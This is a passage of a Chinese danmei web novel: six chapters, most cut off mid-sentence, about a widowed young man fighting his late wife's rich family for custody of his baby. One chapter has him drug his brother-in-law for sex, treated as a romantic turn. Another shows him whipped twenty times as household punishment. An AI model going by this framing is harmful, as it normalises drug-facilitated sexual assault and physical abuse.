《可他肤白又貌美》 1. 【1】 《可他肤白又貌美》全本免费阅读 路听的老婆去世了。 死的很突然,心梗猝死倒在了工作岗位上。前一天还抱着孩子和老婆开开心心庆生的路听,眨眼就坐上了回丈母娘家的丧车。 路听老婆的娘家是津港最有名的豪门家族,祁家家大业大,唯一宝贝女儿突然去世,葬礼办的也急忙火促。路听到祁家时,整栋庄园都抹上了丧事的苍白色,外面还下着雪,腊月寒冬的风一吹,吹得路听那小身板像是要散了架。 祁家的下人引着路听去换丧服。 路听换好丧服,就坐在女婿的位置,安安静静接待来宾。与祁家来往的都是津港有名的贵族世家,大家与路听面对面磕头,拍拍路听到肩膀掉两滴眼泪表示慰问。 那些宾客吊完唁后,就起身去休息区坐着。过不了一会儿,就听到聚在一起的人,小声细碎开始八卦: “这怎么就死了呐!太可惜了!” “老祁家就这么一个女孩儿,宝贝得很。老两口子现在已经哭疯了,听说是死在视察的路上,惨的哦!那么好的一个大小姐就这么没了啊!” “倒是祁家大小姐留下那个未亡人……啧啧!怎么就长了这么一副模样啊!” “哎——祁小姐女强人,不就好这一口?听说他家小孩喂奶,都是这男的在家里喂!哎呦男的怎么给小孩喂奶啊?那个地方又产不了奶水……” “……” 这些话不间断传入路听到耳朵里,路听已经习惯了。他擦了擦肿泡了的眼睛,将落下来的碎发别回到耳后,用抹额压了压。 这时,在里屋看孩子的奶妈,悄悄走到了路听身后。 奶妈对着路听说了两句什么。 路听眉眼柔顺听着奶妈的话,奶妈说完,他抬了抬头,眉头微蹙。 “我来喂吧。” 奶妈:“……” 路听站起身,就进了里屋。屋内一直隐隐约约传出婴儿的啼哭声,路听进去没多久,那啼哭声就戛然而止。 又过了二十来分钟,路听出来了。 出来时,他的头发有些凌乱。 白色的前襟,也像是被人扯开过,被婴儿的手抓攥过。 路听无视掉再一次此起彼伏的细碎议论声,将头上的抹额扶正,叠好衣襟,重新坐回到接宾的位置。 …… * 一天的丧事办完,祁家准备晚间的家宴。 白色的丧布挂在门外迎雪飘飘,屋内的灯跳跃着不太温暖的光。家里最疼爱的女儿去世了,祁家人没一个是好脸色的。 路听依旧坐在每一次和祁舒尔一起回家时坐的位置,只不过这一次没有了能为他挺身而出的妻子,对面是压迫感极强的祁家夫妇。 而祁家人,从上至下,从祁老夫妇到祁家的下人。 都瞧不太起路听。 也是,都入赘祁家了,吃的穿的用的都是妻子家的。路听“嫁”入祁家后就不工作了,祁舒尔在外打拼事业,他安安心心在家里带小孩。 现在老婆死了。 祁家确实该拿他出气,路听低着头,任听岳父岳母哭着骂他克死了自己的妻子、他们的宝贝女儿。路听用手紧扣着白色丧服,他其实、他其实……他其实,还是想给自己的孩子,争取一丝抚养权。 果然,桌子上的话题很快就转到了小孩的抚养权问题上。 祁父理所当然就把小孩归为送回祁家让祁母亲自带,他甚至都没有犹豫,也完全没顾虑对面还坐着祁川的亲生父亲。 路听一听他们就这么拍板定案,就要继续下一个话题。他攥了攥衣服,鼓起勇气打断了对面的话, “川儿不能离开我!” “……” 饭桌安静了几秒钟。 祁父终于正眼看了一眼路听。 他眯了眯眼,半晌,问路听道, “你想争川儿的抚养权?” “……”路听惨白着脸。 但仍旧,艰难一点头, “是!” 他在祁父的眼中,看到了一丝轻蔑。 但祁家是大户人家,教养当道。祁父最终还是忍住不快,对哭肿眼皮的路听语重心长劝道, “听听,” “你能拿什么,来养川儿呢?” 祁父:“从你和舒尔结婚,你吃祁家的用祁家的开销祁家的。以前舒尔在外打拼你负责养家,现在舒尔死了,你也没工作,你拿什么来养活你和川儿?” “再说川儿,川儿从降生到现在,所有尿不湿奶粉,婴儿床婴儿衣服婴儿玩具,哪一样开销低于两个w?川儿也是我们的外孙,我们的掌上明珠,他若跟着你,生活质量断崖下降。你说我们作为川儿的外公外婆,能忍心看他受苦吗?” “我……” 祁父一摆手,甩出来这些凭证,句句几乎都戳死了路听的命脉。 是啊,每一条,都说的字字有理。 路听再一次低下头去,眼眶也再一次红了。祁父说的没有一丁点儿错,他哪能配给祁家的外孙当监护人啊。 可是,可是…… 他想着祁川第一声“爸爸”是对着他叫的,第一次招手也是对着他招到,甚至……连祁川第一口奶,也都是他夹着奶瓶喂的。 路听不知道该怎么办了,眼泪在眼眶里打转了一圈,“啪嗒”,没收住,砸在了膝盖上的丧服里。 哗啦—— 后面的中式推拉门突然被管家拉开,屋内卷入一阵凉风,饭厅突然就安静了,路听眼泪一顿,缓缓抬头随着细碎议论声往冷风源头望去。 一个穿着黑色羊绒长风衣的男人,威严挺拔出现在饭堂正门。 他的气场异常的强大,强大到就连身为一家之主的祁老爷子都停下了说话声。男人目光在阔大的饭厅环绕了一圈,扫过路听时,完全没有任何停留。 祁聿风,祁家长子,当今祁氏集团的首席掌权人。 祁聿风完全不像是回来奔丧的,妹妹过世,他这个做哥哥的一点儿悲伤都看不出。祁聿风在祁老爷子旁边坐下,脱了大衣,递给管家。 路听就坐在他的对面。 此时此刻的路听,早已重新低下头去。 其实,在祁家,话语权最大的,另有其人。 祁聿风来后,餐桌上的话题 2. 【2】 《可他肤白又貌美》全本免费阅读 翌日一早。 今天是丧事的第二天,基本上已经到了收尾。祁家一家人再一次围在一起吃早饭。吃完早饭,祁父祁母去客厅算丧事收到的一些东西。 路听被要求跟着过去,他走在祁父祁母身后,他的后方,是祁聿风。 祁聿风又恢复了那冷淡的模样,一整个早晨跟他半句话都不搭,仿佛不认识他。 祁母一坐下,就假笑着拿出一叠花花绿绿的折叠单。她挨着路听,贴心问路听,接下来有没有什么打算。 什么打算?路听还没想,但他现在只有一个打算,他想要儿子的抚养权! “我想找份工作,能够养活……” “哎呀找什么工作呀!”祁母埋汰,把那些折叠单展开。 摆在所有人面前,上面全都是纯英文出国留学攻略。 路听脸色有些变了变地看着祁母,祁母挺上心的,一张张给路听看,一一给他介绍, “你看啊,你才22岁,人生还可以有大把大把的好路可以走!” “现在都流行出国留学,出去镀个金!爸妈都帮你看好了!美国这些常青藤你想去哪个你直说!反正之前你和舒尔结婚办的护照都还在,去了语言关也不用担心,我们可以给你配翻译……” 祁母说的天花乱坠,路听听来听去,却一点儿关于小孩的去向都没有听到。路听滚了滚喉结,在祁母说累了喝茶的功夫,他张了张嘴。 小声问道, “那,我可以带着川儿,一起去读书吗?” “……” “路听!”祁母脸色突变。 放下手中的茶杯,转眼笑脸变暴风雨。 她指了指那些宣传单,拔高声音, “你别不知好歹!” “我们祁家供你开销供你吃穿,现在舒尔没了,非但没赶你出家门,还愿意送你去读书!你倒好——张口一个孩子闭口一个孩子!孩子是祁家的,你交给我们抚养怎么啦?” 路听鼓着勇气,艰难反对, “要是我出国,我要带着川儿!” “你——” 这个便宜女婿还是第一次正面硬刚岳父岳母!身为丈母娘的祁母突然就有点儿气绝。她瞪了眼执拗要跟他们争孩子的路听,好半天,转头去看丈夫。 祁父正在算昨天收到的吊唁钱,桌面上一个个账本。他看了眼路听,转头又把目光递给了祁聿风。 祁聿风悠闲坐在对面的沙发上看公司财报,对于妹妹的死,他好像一直没表现出多么悲伤。对于这个上门妹夫,他甚至连正眼都不给。 祁聿风拢了拢财报,先是温和看了母亲一眼。在这个家,其实大事小事,到最后都是祁长子做定夺。 过了好久,祁家掌权人终于把目光,转向了坐在角落里,可可怜怜的小女婿。 路听跟他对视了一眼,瞬间就被那熟悉的讽刺感给压了回来。祁聿风的眼睛里转瞬即逝出与昨晚在灵堂看他喂奶时一模一样轻蔑的目光,很快又收了回去,一展报纸,不带一丝感情地说道, “一个只会给孩子喂奶的男人,我并不觉得他能够把小孩拉扯到大!” “……” 路听瞬间面红耳赤。 其余人脸色也有些尴尬,但显然不知道祁聿风指的更细节的是什么。祁母一听祁聿风的态度,一下子就高兴了。也不装慈祥长辈了,抱着胳膊,对路听鄙夷道, “啧啧啧!听到没——大舅哥也很不待见你呢!” 祁聿风的话在这个家就是金科玉律,祁母直接把所有的锅都甩长子身上,拿祁聿风给路听最后一击, “你呢,有本事就让阿聿同意你带孩子!” “阿聿是我们祁家的掌权人!你要是能求得动他,我和川儿他外公,双手赞成你带孩子!” …… * 津港的雪下了整整一天,到了傍晚时愈下愈大。 下午时丧礼已经结束,祁家又恢复了正常运转,祁聿风回公司开会,祁父祁母料理丧葬尾巴。 至于那个小可怜上门女婿,他跟着管家阿姨,也不知道哪儿去了。 祁聿风坐在商务车上听开会提要,助理汇报着办丧期间公司发生的大大小小事。公司的事情整理完,助理突然话锋一转,拿出一个档案袋。 “祁总,这里还有一份祁川的抚养转交认定表,需要让小路先生签一下字。” 祁家从一开始就没打算让路听带孩子,转让表一早祁父就去申请了。只不过刚从祁家出来就又让他想起那个蠢蛋,祁聿风皱了皱眉,显然很是厌恶他那便宜上门妹夫。 祁聿风接过那张表,翻了翻,丢到了一边, “以后这种东西通通寄到家里去!” “寄到公司里,是打算祁家养他一辈子吗!” “……” 助理也看得出祁总真的很讨厌他那倒插门妹夫,便闭了嘴。车继续往前开,前面的风雪愈发飘乱。 在公司正大门的拐弯处,助理定了定眼,忽然看到一个被暴雪包裹着的身影! 他站在门口,跟门卫发生争执。助理又看了一眼,果然是祁总家那便宜倒插门女婿! 说曹操曹操到! 路听正在祁氏集团的公司正大门处,跟门卫解释自己真的是祁总家的妹夫。然而门卫根本不信,祁家的女婿怎么可能长得这么娘娘们们。 并且还提着一兜子苹果,说是来求祁总办事。笑话!祁总这两天都在祁家,有什么事在家怎么不求,非得跑公司来谈? 路听借着出门买水果的功夫,想要单独见一见祁聿风。水果确实是祁母让他去买的,但他觉得他需要去见一面那个男人。 路听解释了好半天,大冬天解释得口干舌燥。透过传达室的玻璃,他看到祁聿风的商务车,缓缓滑入正大门。 没有半分停下来的迹象。 门卫大爷撇撇嘴,道路听,怎么不说话了? 路听就这么又在公司门外站了许久,他提着苹果,浑身冻的发麻。他想再等一会儿,等到祁聿风下班。 然而没等到祁聿风下班,忽然,头顶的风雪消失。 一顶黑色的伞,罩在了他的上方。 门卫大爷又一次眼睛都睁圆了,他结结巴巴看着许助理,满脸不可置信看着给路听打伞的许特助, “许许许——” 许特助把伞往路听面前一倾斜。 道,“祁总让你上去。” …… 路听忐忑跟着许助理上了总部大楼。 上去后,许特助就带路听去了祁总的总裁休息室。这里开着温暖的空调,有吃的有喝的。许助理让路听在这里休息一下,祁总还在开会。 “路先生。”许特助给他倒了杯水,看着在沙发上缩成一团还在打寒颤的男孩,真不敢相信这都是一个孩子的父亲了。 就连许助理都撇撇嘴,这么软弱的一个男孩子,怎么能带好一个半大的娃娃? 许特助在公司有一定的话语权,他离开休息室前,还特地把那档案袋交给了路听。 路听看了一眼,冻的通红的手微微颤抖。 许特助怜悯地低头望着他, “祁总在车上也表态了。” “如果您非得想要抢夺孩子。” “那大家只有拿实力打官司。” “……” “这是唯一一条路。” * 路听一个人在总裁休息室,什么都做不了。他躺在沙发上看了看那几只苹果,祁母说祁聿风从小最喜欢吃苹果了。 看了一会儿,路听迷迷糊糊睡了过去。 再一次醒过来时,祁聿风已经回到办公室。总裁办公室与休息室仅一墙之隔,墙是玻璃的,需要的时候会变成不透明状。 路听揉了揉眼,才睡醒,有些乱。祁聿风回办公室也在处理工作,他听到玻璃墙对面冒出一点声音,抬头一看,支起一颗蓬乱的脑袋。 其实路听在不带孩子的时候,还是有点儿二十二岁男孩子该有的稚嫩。 可是他总是随地随处敞开衣襟喂奶,又人妻又yin荡!祁聿风深深厌恶这种软烂不扶的蠢男人,他眼底那一丝同情瞬间又变回了嫌恶,一言不发看着从沙发上爬起来的妹夫。 路听也看到了祁聿风,他见自己在人家办公室睡着了,终究是有些不好意思。路听小心翼翼走了出去,站在祁聿风办公桌前,像个被人蹂躏过的小娇妻。 “哥……” 以前,路听为数不多见祁聿风的时候,他都是跟着祁舒尔,喊祁聿风“哥”。 祁聿风皱了皱眉,见他也没洗个澡换个衣服,浑身湿答答皱巴巴。这个蠢妹夫真是哪儿哪儿都让他看不惯!他实在是忍受不了一个如此皱巴的人站在他的办公室里,祁聿风目光冷淡,一指对 3. 【3】 《可他肤白又貌美》全本免费阅读 路听浑身都在痛。 他是被D0晕过去的,醒来的也快。睁开眼睛时,刚好就看到坐在大床另一端,拧着眉严厉望着他的祁聿风! 祁氏当家人见那便宜妹夫,瞬间就冒出滔天怒火!他身上也全都是被抓被挠过的痕迹,和路听到两两相映衬! 祁聿风刀子般的目光,用力/射/向坐在床那边那团瘦弱的人儿。 路听其实挺怕祁聿风的,这人喜欢武断解决事情!他害怕祁聿风报警,他只是想要得到自己孩子的抚养权,他不想进去。 路听怂了一下,微微往前靠了靠,身后屁股里的酸涩感让他腰都快断掉了。 祁聿风看到路听用他那纤细的小软手,靠过来扯了扯他的胳膊。有些事情发生过了就很容易触景生情,祁聿风目光锋利的更加厉害了,他盯着柔柔弱弱靠近在他身边的路听,半晌,一字一句问道, “是你给我,下的药?” “……” “……” “……” 路听低下去头,没有反应。 祁聿风直接气笑了,他觉得自己这个妹夫真的是个大神人!他现在真恨不得掐死他,平息那些悖德的无力愤怒! “是不是!”男人又拔高了声音。 路听到肩膀猛地抖动了两下,像是被吓到了。他的眼眶一圈圈发红,嘴唇往里抿了抿。 眼泪在边角直打转。 “……嗯。” 祁聿风一拳砸在了床头。 总裁休息室的床头都配备有紧急报警按钮,他这一拳刚好砸在了按钮上!霎那间助理的电话就立即打了进来,声音很清晰,一字一句传入休息室。 “祁总,您是有事要报警吗?” 路听一下子就吓坏了!他只是想争夺孩子的抚养权,他不想坐/牢! 路听哭了出来,抓住祁聿风的胳膊。 祁聿风嫌恶地望了他一眼,让他松手!男人转身就要去接通报警专线,祁家在津港家喻户晓,祁家当家人要是报警,明天就能上津港新报头版头条! 路听终于张开了嘴,哑着破碎的嗓子,哭着道, “哥,求求了!” “不要报警,我真的错了!我不该给你下药,我不该这样做!我错了,求求你,不要报警……” 男孩被甩了胳膊,双手无处安放,他哗啦哗啦掉着眼泪,肿肿的眼泡下全都是泪。他哭了好一会儿,终于撑不住了。 趴在床上,一抽一抽,背上的拧痕一晃一晃的。 祁聿风要拨号码的手在按键上方悬了好长一段时间,他发现自己居然摁不下去!祁聿风吐了一口气,将专线机重新挂回到床头。 咔嚓。 路听抬起头,泪汪汪着脸,看大舅哥。祁聿风深深吸了好几口气,隐忍着怒火,斥道, “你还不走!” 路听愣了愣。 后知后觉,祁聿风这是放过他了!他抓紧下床,拾起地上混合着雪水汗水湿哒哒的衣服。他得赶紧跑,毕竟睡亲妹夫这种事儿,传出去太不好了! 路听跑到玻璃门前,准备离开之际,还是顿了一下脚步。他转过头,看到他的大舅哥红果着身,闭眼坐在床的原位置。 床铺都是凌/乱不堪的,路听动了动嘴唇,显然还有话想说。 突然祁聿风就睁开眼,杀气腾腾,回旋镖直击天灵盖!祁聿风看到路听又是一脸怂怂懦懦还不死心的样儿,用手一按眉心,怒, “滚啊!!!” ...... 路听爬着滚了。 * 夜半两点,路听坐在祁家他和祁舒尔的婚房里。 望着那大包小包,已经被他收拾好的行李。他一定要带走川儿,但祁家人是不可能松口让他获得抚养权。 就连回来办丧的这几天,宝宝都不在他的房间里睡觉,每天让他抱着喂完奶,就要把孩子还回祁父祁母的屋里。 路听踮着脚,悄悄潜入祁家父母的房间里。他以前从未想过自己有一天还要“偷”儿子逃亡,但是他连大舅哥都睡了,他还有什么不敢的? 路听抱到了祁川,转身提着行李就往庄园的围墙狂奔。祁家非常大,要跑很久很久才能到尽头。路听跑过喷泉花园穿过满是风雪的小树林,跑的浑身又湿了一遍。他终于看到铁杆围成的栏杆了!路听看了几眼周围没有摄像头,他将孩子小心翼翼先送了出去。 他自己就要攀着铁杆往外爬。 然而路 4. 【4】 《可他肤白又貌美》全本免费阅读 路听一听见是让祁聿风罚他,原本还装作一副“被抓了也天不怕地不怕”的模样,瞬间就全垮了。 他最害怕的就是祁聿风,以前怕,今晚办公室过后,他更怕了!听到“祁聿风”这三个字仿佛就是他的催泪剂,眼泪瞬间就往上涌,泪珠吧嗒吧嗒全滚了出来。 “对不起,我不该偷孩子!” “我错了我错了!对不起!我错了!不要、不要……” 祁家父母真没想到祁聿风的威力竟然如此之大,现在看这个家能治得了这个混账女婿的也就他这个做大舅哥的了!祁父想说什么,忽然,窝在祁母怀里的小娃娃张开嘴哇哇哭。 祁母:“哎哟哎哟!宝贝川儿!怎么哭了呢?” 路听仰头一看,是饿了。 祁母肯定也明白是饿了,她看了眼四周,上上下下都是家里的下人。但小孩哭的厉害,也不能不喂奶吧? 祁母把祁川往路听怀里一放,让阿姨拿过来奶瓶,对路听说道, “先给川儿喂喂奶!” “……” 好多人都红了脸,一直有传闻祁家的外孙都是那个做女婿的喂,大家不相信又好奇。他们以为路听会拒绝在大庭广众之下解衣宽带,却没想到路听半点儿抗拒都没有。 路听擦了擦脸,伸出手,接过了祁川。 他依旧跪在那里,解开了上半身穿着的羊绒毛衣。里面其实并没有穿多少,从上往下/脱,半边胸口露在外面,半边的衣服退至肋骨处。 那么大的一颗红宝石就这么露在了很多人眼前,那些淤/青还未散去。路听稍微用胳膊挡了挡,让那些被祁聿风爱过的痕迹,不要让人看到。 他就这么抱着孩子,夹着奶瓶。 给孩子喂奶。 祁家父母也不愿意看,这个时候就会感觉到这个女婿是真的丢人!路听很快就给小孩喂完了奶,宝宝满意打了个奶嗝。孩子交还给祁母,路听这才套回了衣服。 大家重新开始审视他要偷孩子这个问题。 祁父抱了抱宝宝,宝宝咯咯对祁父笑。人上了年纪都喜欢小孩,心都要被融化。 他又看了看跪在地上等着责罚的路听,心情一好,似乎连带着女婿都没那么憎恶了。祁父把孩子给祁母,给了眼神。 示意祁母,要不然今天就算了? 祁母这才去看自家儿子,刚刚祁父亲自让祁聿风来责罚路听!祁母瞥着路听,态度也没那么冲了,对祁聿风道, “要不让小路和川儿一起留下,以后就别说离开祁家了。” “让他就住在祁家,小孩留下他也留下。这样一家人一起照顾孩子,就也没有什么孩子之争抚养权打架,不是吗?” “……” 路听听到这一建议,其实第一反应就是想同意。 他真的不想挨打!祁聿风看着好吓人!那手掌!他感受过他的力道!要是祁聿风拿着马鞭抽他,他会被抽烂了的! “可以可以!!!” 祁聿风却没有同意。 他手里拿着那又长又硬的马鞭,根本没有要松开的迹象。没人知道他怎么想的,那只是他的妹夫,大家不要闹的太僵! 半晌,祁聿风站了起来,一甩风衣, “偷了就是偷了!” 这下就连祁父都愣住。 祁聿风把那马鞭两角对折,中间形成一个结实的弧度!这条马鞭是祁家祖传,祁聿风小时候犯错挨过它的威力,祁舒尔也挨过。现在居然轮到他这个妹夫了!真奇怪,以前祁舒尔挨揍,都是他爸来动手。 祁母问过为什么祁聿风不会揍妹妹,祁聿风斯文着调子,说哥哥和妹妹之间还是有一定距离的。 但现如今看,他是要亲自惩罚他这个妹夫。 路听被几个下人推搡,摁在了拉过来的长凳上。那那长凳看样子是上了一些年纪,上面斑斑驳驳各种被抽裂的痕迹!路听一想到他可能会被抽碎在这条板凳里,眼泪鼻涕一起飙,拼了命整整。 泪水狂飞中间,朦朦胧胧,他似乎看到祁聿风又叠了叠那马鞭。 双手一拉,用力一抻—— 啪! …… …… …… * 整整二十鞭! 二十鞭抽完,也花费去了将近四十分钟!现场每个人都倒抽了一口冷气,仿佛那鞭子一并抽在了所有人身上。 太可怕了! 但被抽了一顿的路听居然没有昏死过去,他自己都没想到他居然还没死?路听死死抓着凳子前面的两条腿,撅着肿肿的屁、股,两颗眼睛哭成了桃子,眼泪一撮一撮从眼角涌出,混合着汗水,在下面的大理石地板上晕出好大一个水圈。 祁家父母彻底被自家儿子的严厉给吓到。 祁父甚至都有些心疼那便宜女婿,认为祁聿风是不是打过了?祁聿风却依旧面若霜寒,他收起马鞭,将其递给管家。 管家战战兢兢,双手接过。 祁聿风完全没去看还狼狈趴在长凳上的路听,他转过身去,走向祁家父母。 “聿风,你这……是不是有点儿?” 祁聿风一言不发,突然从祁母怀中抽出祁川。祁母有点儿怕自家这个儿子,连反应都没反应,就让他抱走了外孙。 他们眼睁睁看着,祁聿风抱着祁川,重新往路听的方向走去。 直到祁聿风将甩在地上的行李也弯腰捡起,和孩子一起,一并放到路听手里那一刻,祁父祁母才纷纷回过神—— “祁聿风!你要干什么!!!” “不许放路听走——” 祁聿风让人把路听从凳子上搀扶着下来,转过身去。面对父母突然的震怒,他依旧是刚刚嫌恶妹夫的那张冰块脸,挡在路听面前,对他爸妈放话道, “放他离开!” “爸,妈!路听已经为他今夜的行为付出惨痛代价,而我已经责罚了他。犯错认错,如果我们再继续压迫他,那就是我们的不讲道理。” “……” 祁父要气死了! 他千算万算,居然没算到到最后是祁聿风这个最厌恶路听到人,放了路听一马!但祁聿风不是别人,是他们整个祁家都要听从的当家人! 那说辞或许听起来十分荒谬,祁父祁母却根本无法反驳。 路听站都站不稳,努力抱着孩子和行李,从椅子上踉踉跄跄下来。他看了一眼,祁聿风背对着他站在前方。但他没功夫去想其他的,感谢的话激动的话都说不出口。祁聿风回头瞥了他一眼,那神色跟几个小时前他站在办公室门口试图求他时,一模一样。 路听抱好孩子和行李箱,连滚带爬朝着对面的大门狂奔。 门被推开,冷风扑面。没有人敢拦他了,是祁聿风亲自下的命令。离开前那一刻他似乎看到祁聿风的目光也在望着他,整理风衣,在祁母愤怒声中一言 5. 【5】 《可他肤白又貌美》全本免费阅读 路听领到第一个月的工资,就去津港最好的育儿园给祁川报了个班。他每天实在是太忙了,公司团队年长一些的姐姐们就教他可以把小孩送到育儿所。 那个育儿所很贵,路听咬咬牙,决不能让外人看扁了他。 眨眼就到了来年的五月,路听在公司跑龙套跑了整整四个月。跑龙套的日子非常累,但薪水还蛮多的,路听愿意挨累。有时候一天都拍摄结束,他们跑龙套的人会先一步离开舞台。 很多次路听就站在拍摄地点旁边,眼巴巴看着公司里那些能当主角的签约艺人和网红。这个世界上最不缺的就是漂亮男孩女孩,没人会在意到路听这么一个小小的角色。路听偶尔会羡慕,但也知道这种好事一辈子也不会轮到他这种人。 五月的最后半个月,公司突然砸下来一个巨大的拍摄网络剧的馅饼!这事儿一度在公司掀起一阵热潮,有传闻是一个很知名的网络剧导演亲自来选角!公司是个好公司,为了让导演尽兴,专门安排了试镜舞台,让愿意表演的人都可以前来报名。 路听犹豫了好久,把自己的名字报上了。 小路同学报名试镜这件事,没几天整个团队都就知道。他们团队的人都十分喜欢路听,听说路听要去参加试镜选拔,有几个姐姐还专门过来给路听鼓劲加油。 “肯定没问题的!” “加油!争取弄个男主角回来!” 路听腼腆着脸,谢谢姐姐们的好意, “听说这个导演……很严格呢!” “那就尽力就好啦!”姐姐们鼓励道,“就算不成功,也当做一次锻炼的机会!” “……” 试镜的当天,团队里所有人都来了,路听大场合容易紧张,像只兔子一样慌慌张张排到了面试的队伍。 那天还是六一,路听紧张到想,实在不行给川儿买个小蛋糕,庆贺一下? 他第一次参加试镜,就连推开门的手都是抖的。面试间光线很暗,前方坐了一排导演,一个个都非常严肃,将整个房间都气氛都凝聚成了块。 坐在最中央的总导演,似乎已经十分生气,又疲倦又不高兴。 “……” “各位考官老师好,我、我是……23号选手!” “……” 啪—— 已经失望透顶又满满疲倦的总导演将手里的本子往桌面上一扔,铁青着脸,闷声道, “开始你的表演!” …… …… …… 几个公司团队的脊梁骨网红围在试镜厅门外,都在替路听捏了一把汗。大家把路听当亲弟弟,都很希望他能够入选。 路听长得也好看,凭什么不能选中呢? “要我说,小路早就该往上爬一爬了!就可惜他还有一半的心思放在孩子身上。等他孩子大点儿,他愿意打拼,绝对能在圈子里有一席之地!” “长得乖,演戏也很顺。唉!他咋年纪轻轻就生孩子了嘛!听说之前也蛮惨的?带孩子每天也好累,我上次看他吃着吃着泡面就睡着了。” “好啦好啦,那也是人家自己选的生活……嘘——出来了出来了!” 路听推开门,大伙儿一股脑都涌了上去。他们七嘴八舌,各自问了好几十句。 路听没说话,脸色发灰发白。 “……” “小路啊……没事儿!没选上就没选上!这个陈导据说特别严特别严!之前有一线明星都没能入他的眼……” “……” 路听突然伸出了个手指。 悄悄地,比了个“耶”。 “……” “过了!!!” …… * 那天刚好也是六月一日儿童节。 路听和团队庆祝了一会儿,就匆匆忙忙收拾好东西要下班。他真的太忙了,每天都还要去育儿所接儿子。育儿班提前了好几个星期,给每个小朋友的家长发信息,六一会有宝宝活动。 路听赶过去的时候活动还没有开始,但放眼一圈,来的全都是宝妈。育儿班的老师知道路听是一个单亲宝爸,很多事情宝爸不方便做,老师们一般不会为难路听。 今天育儿班的老师告诉路听,可以在外面看着宝宝玩,他的孩子会由专业老师亲自带着玩。 路听拒绝了,他说今天是六一,他得陪着小川在一起。 老师们有些为难,因为做游戏是需要妈妈们将自己打扮成漂亮的鲜花漂亮的小蛋糕,哪有男家长会愿意穿那些软软的蛋糕衣服呀?可路听说完要参加,就毫不犹豫拿起一套绣满粉色花朵的蓬蓬衣服。 钻进了更衣室。 路听出来的时候,实实在在惊艳到了一众家长们。他好白,好漂亮!路听穿着软软的衣服,和其他妈妈们站在一起,光芒到处闪耀着。 那天路听带着孩子,开开心心度过了一个儿童节,没有老婆没有妈妈的儿童节。他们被拍了许许多多的照片,每一张照片里的小宝宝都笑得很灿烂。而路听,好像在妻子去世后,熬过了那么多个艰苦的日子,终于再一次拥有像花一样美好的笑容。 活动结束,小孩们跟着家长都回家去了。园长照例进行每一天的打扫卫生,在整理更衣间时,忽然就在男士更衣橱里,捡到 6. 【6】 《可他肤白又貌美》全本免费阅读 路听没进组几天,祁川突然生病了。 那段时间路听在组里忙得起飞,接到育儿所老师打来的电话,下意识懵逼。老师说祁川有点低烧,让路听得带去医院挂水。 路听也以为是普通的感冒,他跟剧组请了两天假,抱着儿子去医院看病。 大医院人来人往熙熙攘攘,祁川好像特别难受,又哭又闹。路听抱着小孩坐在走廊蓝色椅子上等结果,他用手比着小兔子,哄祁川不要怕不要怕。 “等会儿我们进去打个针,挂个水,听医生的,好不好?” “……” 排了很久的队,终于轮到了他们。路听把拍好的片子递给大夫,忧心忡忡问大夫,没什么事吧? 大夫一眯眼,眉头微皱, “这孩子……” “心脏上,好像有一块阴影!” “……阴影?!”路听晴天霹雳。 医生点头,又看了几遍,转过身,公事公办说, “像是心脏病,不过不确定,还需要进一步的检查。” “这样,我先给你开个检查项目,你去把费交上,然后去一楼的……” 咚咚咚—— “丁医生!有人找!” “哦!来了——” 大夫有事,让路听先去交着费。门诊室的铁门开了又关,路听整个人都傻在了那里。 ……心脏病! 他抱着祁川就逃了,连带着那些片子还有未开完的医嘱,全部划拉到手里抱走!那家医院是津港挺厉害的一家三甲,他的行踪很容易就会被祁家人知道! 路听的是非观就是:那是他的儿子,他不能让祁家发现!万一再是误诊了呢?万一不是心脏病呢! 回到公寓后,路听又问总导演请了几天假,他又去借了隔壁跟他关系很不错的姐姐的身份证,跑去津港五环之外的小医院去挨家挨户问。 然而事实总与愿相违,几乎所有的医院,看完祁川的病历和片子后,都说那就是心脏病。 并且很急,最好立刻办理住院,接受系统治疗。 路听傻了,陪着他一起来的借他身份证的懿懿姐也难以置信。懿懿姐帮着问医生,那入院治疗,治疗费得是多少啊? 医生给路听算了一笔数,开出了最后的底线金额, “小朋友的病是能治好的那种,但是治好了不留后遗症,花费金额肯定要比其余方案多!保守起见……先准备着一千万吧!” 懿懿姐回头看了看,坐在旁边、抱着孩子的路听。 这几天连夜奔波下来,他人都瘦了一圈,原本脸蛋上独有的婴儿肥也消瘦了下去,眼眶深陷,身板瘦成一丁点儿薄。 路听听到这个最终确凿的结果,整个人、都快碎掉了。 …… * 嗖—— 高尔夫球打了出去,划过高空,坠入球洞。 陈青平举手鼓掌:“不愧是祁总!工作再忙,运动方面从来没落下过!” “过奖。”祁聿风望着那球,淡淡道。 陈青平和祁聿风从小就认识,他这一次的网络剧就是祁家投资的。因为演员们的片酬还没定好,陈青平特地请祁聿风吃饭,饭后出来打打高尔夫球。 祁聿风对片酬的拨款很大方,合同签字的也很快。两个人打了会儿球,祁聿风顶着明媚的阳光,突然问陈导道, “新剧的选角怎么样?” 陈青平诧异了一下,毕竟过去陈青平的剧,祁聿风投资了也从不过问人选。 陈导回答道:“除去男主,女主男二女二都用的以前合作过的演员。” “毕竟这块饼也是你祁氏投资的嘛,大家都冲着你祁家投资人的名声来。” “不过男主选了一个纯新人,现在所有电视剧都快排列组合了,换来换去总是那几个演员演,我不喜欢!” “……” 祁聿风摆好姿势,球杆打球,又是一个球进入了球洞。他望着远方的天,像是随口说了一句道, “新人更容易出成绩。” “好好提拔一下。” …… 许助理开车载两个人去私会馆放松,陈青平先下的车。陈导下车后,助理拉上车窗,对身后的祁聿风递了一个文件夹, “小路先生把祁川的育儿班退掉了。” “公司的公寓也退掉,小祁川送到同事林心懿的家里。对不起祁总,林心懿我们不太好跟踪。她是有点名气的网红,对摄像头和狗仔跟踪十分敏锐,每一次我们都被她反侦察进去……” 祁聿风看了看那文件夹,车厢内的空气温度瞬间降低了十几个度。许特助正在考虑这个月的绩效会被砍去多少,突然听见坐在后面的祁聿风合上那文件夹,将它扔回了前面。 似乎有些生气好像, “以后他的事情,” “不必再跟我汇报了!” * 路听失魂落魄回到剧组。 剧组的人都察觉到他心情欠佳,总导演突然对他十分关心,他见路听每天脸色都极差,抽了个时间,专门来开导一下小朋友。 “导演,我能问您件事情么?”听完导演长篇大论的从业总结,路听一点儿都没进耳朵去。 他满脑子都是,那一千万。 片酬还没定,他想要钱! 陈导点了点头:“你说便是!” 路听:“我的片酬,大概什么时候……能发?” 陈青平愣了一下,想这个年轻新人,还真爱钱啊! 陈青平不喜欢这种爱财如命的演员,但奈何祁聿风提点过,他尽量要对新人有新人耐心一点。 陈青平耐着性子:“小路,有时候钱不一定能代表一切。” “你作为演员,是需要有一些理想和抱负,前面的路还很长,沉下心去打磨,到最后才会开出更灿烂的花……” 